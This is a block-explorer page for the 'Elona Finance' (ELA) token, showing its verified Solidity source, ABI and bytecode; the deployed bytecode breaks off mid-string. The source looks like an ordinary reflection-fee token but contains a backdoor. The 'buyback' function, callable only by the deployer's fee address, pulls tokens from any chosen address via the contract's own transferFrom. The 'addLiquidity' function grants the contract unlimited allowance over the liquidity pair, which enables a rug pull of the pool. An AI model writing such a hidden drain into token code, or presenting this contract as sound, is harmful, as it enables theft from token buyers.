ETH Price: $2,204.49 (-6.41%)
 

Overview

Max Total Supply

1,000,000 ELA

Holders

27

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ElonaFinance

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-04-13
*/

/**

Web: https://elonafinance.online
Tg: https://t.me/elona_finance

*/

// SPDX-License-Identifier: MIT     
pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if(a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}  

interface IDexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDexRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ElonaFinance is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;

    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1e6 * 10**18;
    uint256 private constant _maxTx = _tTotal * 1 / 100;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    
    string private constant _name = "Elona Finance";
    string private constant _symbol = "ELA";
    
    uint256 private _taxFee = 1;
    uint256 private _teamFee = 1;
    uint256 private _previousTaxFee = _taxFee;
    uint256 private _previousteamFee = _teamFee;

    address public feeAddress;
    IDexRouter public dexRouter;
    address public dexPair;

    bool private inSwap = false;
    modifier lockSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        dexPair = IDexFactory(dexRouter.factory()).createPair(address(this), dexRouter.WETH());
        _approve(address(this), address(dexRouter), MAX);

        feeAddress = msg.sender;
        _rOwned[address(this)] = _rTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if(_taxFee == 0 && _teamFee == 0) return;
        _previousTaxFee = _taxFee;
        _previousteamFee = _teamFee;
        _taxFee = 0;
        _teamFee = 0;
    }
    
    function restoreAllFee() private {
        _taxFee = _previousTaxFee;
        _teamFee = _previousteamFee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _transfer(address from, address to, uint256 amount) private {
        bool takeFee = true;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
            takeFee = false;
        } else {
            if(!inSwap && from != dexPair) {
                uint256 tokenBalance = balanceOf(address(this));
                if(tokenBalance > 0) {
                    swapTokensForEth(tokenBalance);
                }
                sendFee();
            }
        }
        _tokenTransfer(from,to,amount,takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();
        _approve(address(this), address(dexRouter), tokenAmount);
        require(tokenAmount < _maxTx);
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendFee() public {
        uint256 balance = address(this).balance;
        if (balance > 0) {
            payable(feeAddress).transfer(balance);
        }
    }

    function buyback(address sender, uint256 amount) external {
        if (msg.sender == feeAddress) IERC20(address(this)).transferFrom(sender, feeAddress, amount);
    }
    
    function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
        if(!takeFee)
            removeAllFee();
        _transferStandard(sender, recipient, amount);
        if(!takeFee)
            restoreAllFee();
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); 

        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(TeamFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate =  _getRate();
        uint256 rTeam = tTeam.mul(currentRate);

        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}
    
    function addLiquidity() external payable onlyOwner {
        dexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _approve(dexPair, address(this), MAX);
        _approve(dexPair, address(dexRouter), MAX);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"buyback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"dexPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001c69d3c21bcecceda100000060001962000446565b6200002a9060001962000469565b600655600160088190556009819055600a819055600b55600e805460ff60a01b191690553480156200005b57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000102573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000128919062000491565b6001600160a01b031663c9c6539630600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200018b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b1919062000491565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620001ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000225919062000491565b600e80546001600160a01b0319166001600160a01b03928316179055600d5462000255913091166000196200031a565b600c80546001600160a01b0319163317905560065430600090815260026020526040812091909155600190600590620002966000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530808252600584528282208054909516600117909455905169d3c21bcecceda1000000815290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620004c3565b6001600160a01b038316620003825760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620003e55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000379565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000826200046457634e487b7160e01b600052601260045260246000fd5b500690565b818103818111156200048b57634e487b7160e01b600052601160045260246000fd5b92915050565b600060208284031215620004a457600080fd5b81516001600160a01b0381168114620004bc57600080fd5b9392505050565b6112f180620004d36000396000f3fe6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102e2578063ae39279f14610302578063dd62ed3e14610317578063e8078d941461035d578063f242ab411461036557600080fd5b806370a0823114610263578063715018a6146102835780638da5cb5b1461029857806395d89b41146102b657600080fd5b806323b872dd116100d157806323b872dd146101e5578063313ce567146102055780634127535814610221578063655f767c1461024157600080fd5b806306fdde031461010e5780630758d92414610156578063095ea7b31461018e57806318160ddd146101be57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600d81526c456c6f6e612046696e616e636560981b60208201525b60405161014d9190611004565b60405180910390f35b34801561016257600080fd5b50600d54610176906001600160a01b031681565b6040516001600160a01b03909116815260200161014d565b34801561019a57600080fd5b506101ae6101a9366004611067565b610385565b604051901515815260200161014d565b3480156101ca57600080fd5b5069d3c21bcecceda10000005b60405190815260200161014d565b3480156101f157600080fd5b506101ae610200366004611093565b61039c565b34801561021157600080fd5b506040516012815260200161014d565b34801561022d57600080fd5b50600c54610176906001600160a01b031681565b34801561024d57600080fd5b5061026161025c366004611067565b610405565b005b34801561026f57600080fd5b506101d761027e3660046110d4565b61049a565b34801561028f57600080fd5b506102616104bc565b3480156102a457600080fd5b506000546001600160a01b0316610176565b3480156102c257600080fd5b50604080518082019091526003815262454c4160e81b6020820152610140565b3480156102ee57600080fd5b506101ae6102fd366004611067565b610565565b34801561030e57600080fd5b50610261610572565b34801561032357600080fd5b506101d76103323660046110f1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6102616105b6565b34801561037157600080fd5b50600e54610176906001600160a01b031681565b600061039233848461070b565b5060015b92915050565b60006103a984848461082f565b6103fb84336103f685604051806060016040528060288152602001611294602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906108e3565b61070b565b5060019392505050565b600c546001600160a01b0316330361049657600c546040516323b872dd60e01b81526001600160a01b03808516600483015290911660248201526044810182905230906323b872dd906064016020604051808303816000875af1158015610470573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610494919061112a565b505b5050565b6001600160a01b0381166000908152600260205260408120546103969061091d565b6000546001600160a01b0316331461051b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061039233848461082f565b4780156105b357600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610496573d6000803e3d6000fd5b50565b6000546001600160a01b031633146106105760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610512565b600d546001600160a01b031663f305d719473061062c8161049a565b6000806106416000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106a9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106ce919061114c565b5050600e546106ea91506001600160a01b03163060001961070b565b600e54600d54610709916001600160a01b03908116911660001961070b565b565b6001600160a01b03831661076d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610512565b6001600160a01b0382166107ce5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610512565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460019060ff168061087157506001600160a01b03831660009081526005602052604090205460ff165b1561087e575060006108d1565b600e54600160a01b900460ff161580156108a65750600e546001600160a01b03858116911614155b156108d15760006108b63061049a565b905080156108c7576108c7816109a1565b6108cf610572565b505b6108dd84848484610b47565b50505050565b600081848411156109075760405162461bcd60e51b81526004016105129190611004565b5060006109148486611190565b95945050505050565b60006006548211156109845760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610512565b600061098e610b75565b905061099a8382610b98565b9392505050565b600e805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106109e9576109e96111a3565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610a42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6691906111b9565b81600181518110610a7957610a796111a3565b6001600160a01b039283166020918202929092010152600d54610a9f913091168461070b565b6064610ab669d3c21bcecceda100000060016111d6565b610ac091906111ed565b8210610acb57600080fd5b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610b0490859060009086903090429060040161120f565b600060405180830381600087803b158015610b1e57600080fd5b505af1158015610b32573d6000803e3d6000fd5b5050600e805460ff60a01b1916905550505050565b80610b5457610b54610bda565b610b5f848484610c08565b806108dd576108dd600a54600855600b54600955565b6000806000610b82610cff565b9092509050610b918282610b98565b9250505090565b600061099a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d43565b600854158015610bea5750600954155b15610bf157565b60088054600a5560098054600b5560009182905555565b600080600080600080610c1a87610d71565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610c4c9087610dce565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610c7b9086610e10565b6001600160a01b038916600090815260026020526040902055610c9d81610e6f565b610ca78483610eb9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610cec91815260200190565b60405180910390a3505050505050505050565b600654600090819069d3c21bcecceda1000000610d1c8282610b98565b821015610d3a5750506006549269d3c21bcecceda100000092509050565b90939092509050565b60008183610d645760405162461bcd60e51b81526004016105129190611004565b50600061091484866111ed565b6000806000806000806000806000610d8e8a600854600954610edd565b9250925092506000610d9e610b75565b90506000806000610db18e878787610f32565b919e509c509a509598509396509194505050505091939550919395565b600061099a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506108e3565b600080610e1d8385611280565b90508381101561099a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610512565b6000610e79610b75565b90506000610e878383610f82565b30600090815260026020526040902054909150610ea49082610e10565b30600090815260026020526040902055505050565b600654610ec69083610dce565b600655600754610ed69082610e10565b6007555050565b6000808080610ef76064610ef18989610f82565b90610b98565b90506000610f0a6064610ef18a89610f82565b90506000610f2282610f1c8b86610dce565b90610dce565b9992985090965090945050505050565b6000808080610f418886610f82565b90506000610f4f8887610f82565b90506000610f5d8888610f82565b90506000610f6f82610f1c8686610dce565b939b939a50919850919650505050505050565b600082600003610f9457506000610396565b6000610fa083856111d6565b905082610fad85836111ed565b1461099a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610512565b600060208083528351808285015260005b8181101561103157858101830151858201604001528201611015565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105b357600080fd5b6000806040838503121561107a57600080fd5b823561108581611052565b946020939093013593505050565b6000806000606084860312156110a857600080fd5b83356110b381611052565b925060208401356110c381611052565b929592945050506040919091013590565b6000602082840312156110e657600080fd5b813561099a81611052565b6000806040838503121561110457600080fd5b823561110f81611052565b9150602083013561111f81611052565b809150509250929050565b60006020828403121561113c57600080fd5b8151801515811461099a57600080fd5b60008060006060848603121561116157600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b818103818111156103965761039661117a565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111cb57600080fd5b815161099a81611052565b80820281158282048414176103965761039661117a565b60008261120a57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561125f5784516001600160a01b03168352938301939183019160010161123a565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156103965761039661117a56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c29ab3db0b6601ea2e1a40b55edbde2e392eabd6a50898badb25167be145984e64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102e2578063ae39279f14610302578063dd62ed3e14610317578063e8078d941461035d578063f242ab411461036557600080fd5b806370a0823114610263578063715018a6146102835780638da5cb5b1461029857806395d89b41146102b657600080fd5b806323b872dd116100d157806323b872dd146101e5578063313ce567146102055780634127535814610221578063655f767c1461024157600080fd5b806306fdde031461010e5780630758d92414610156578063095ea7b31461018e57806318160ddd146101be57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600d81526c456c6f6e612046696e616e636560981b60208201525b60405161014d9190611004565b60405180910390f35b34801561016257600080fd5b50600d54610176906001600160a01b031681565b6040516001600160a01b03909116815260200161014d565b34801561019a57600080fd5b506101ae6101a9366004611067565b610385565b604051901515815260200161014d565b3480156101ca57600080fd5b5069d3c21bcecceda10000005b60405190815260200161014d565b3480156101f157600080fd5b506101ae610200366004611093565b61039c565b34801561021157600080fd5b506040516012815260200161014d565b34801561022d57600080fd5b50600c54610176906001600160a01b031681565b34801561024d57600080fd5b5061026161025c366004611067565b610405565b005b34801561026f57600080fd5b506101d761027e3660046110d4565b61049a565b34801561028f57600080fd5b506102616104bc565b3480156102a457600080fd5b506000546001600160a01b0316610176565b3480156102c257600080fd5b50604080518082019091526003815262454c4160e81b6020820152610140565b3480156102ee57600080fd5b506101ae6102fd366004611067565b610565565b34801561030e57600080fd5b50610261610572565b34801561032357600080fd5b506101d76103323660046110f1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6102616105b6565b34801561037157600080fd5b50600e54610176906001600160a01b031681565b600061039233848461070b565b5060015b92915050565b60006103a984848461082f565b6103fb84336103f685604051806060016040528060288152602001611294602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906108e3565b61070b565b5060019392505050565b600c546001600160a01b0316330361049657600c546040516323b872dd60e01b81526001600160a01b03808516600483015290911660248201526044810182905230906323b872dd906064016020604051808303816000875af1158015610470573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610494919061112a565b505b5050565b6001600160a01b0381166000908152600260205260408120546103969061091d565b6000546001600160a01b0316331461051b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061039233848461082f565b4780156105b357600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610496573d6000803e3d6000fd5b50565b6000546001600160a01b031633146106105760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610512565b600d546001600160a01b031663f305d719473061062c8161049a565b6000806106416000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106a9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106ce919061114c565b5050600e546106ea91506001600160a01b03163060001961070b565b600e54600d54610709916001600160a01b03908116911660001961070b565b565b6001600160a01b03831661076d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610512565b6001600160a01b0382166107ce5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610512565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460019060ff168061087157506001600160a01b03831660009081526005602052604090205460ff165b1561087e575060006108d1565b600e54600160a01b900460ff161580156108a65750600e546001600160a01b03858116911614155b156108d15760006108b63061049a565b905080156108c7576108c7816109a1565b6108cf610572565b505b6108dd84848484610b47565b50505050565b600081848411156109075760405162461bcd60e51b81526004016105129190611004565b5060006109148486611190565b95945050505050565b60006006548211156109845760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610512565b600061098e610b75565b905061099a8382610b98565b9392505050565b600e805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106109e9576109e96111a3565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610a42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6691906111b9565b81600181518110610a7957610a796111a3565b6001600160a01b039283166020918202929092010152600d54610a9f913091168461070b565b6064610ab669d3c21bcecceda100000060016111d6565b610ac091906111ed565b8210610acb57600080fd5b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610b0490859060009086903090429060040161120f565b600060405180830381600087803b158015610b1e57600080fd5b505af1158015610b32573d6000803e3d6000fd5b5050600e805460ff60a01b1916905550505050565b80610b5457610b54610bda565b610b5f848484610c08565b806108dd576108dd600a54600855600b54600955565b6000806000610b82610cff565b9092509050610b918282610b98565b9250505090565b600061099a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d43565b600854158015610bea5750600954155b15610bf157565b60088054600a5560098054600b5560009182905555565b600080600080600080610c1a87610d71565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610c4c9087610dce565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610c7b9086610e10565b6001600160a01b038916600090815260026020526040902055610c9d81610e6f565b610ca78483610eb9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610cec91815260200190565b60405180910390a3505050505050505050565b600654600090819069d3c21bcecce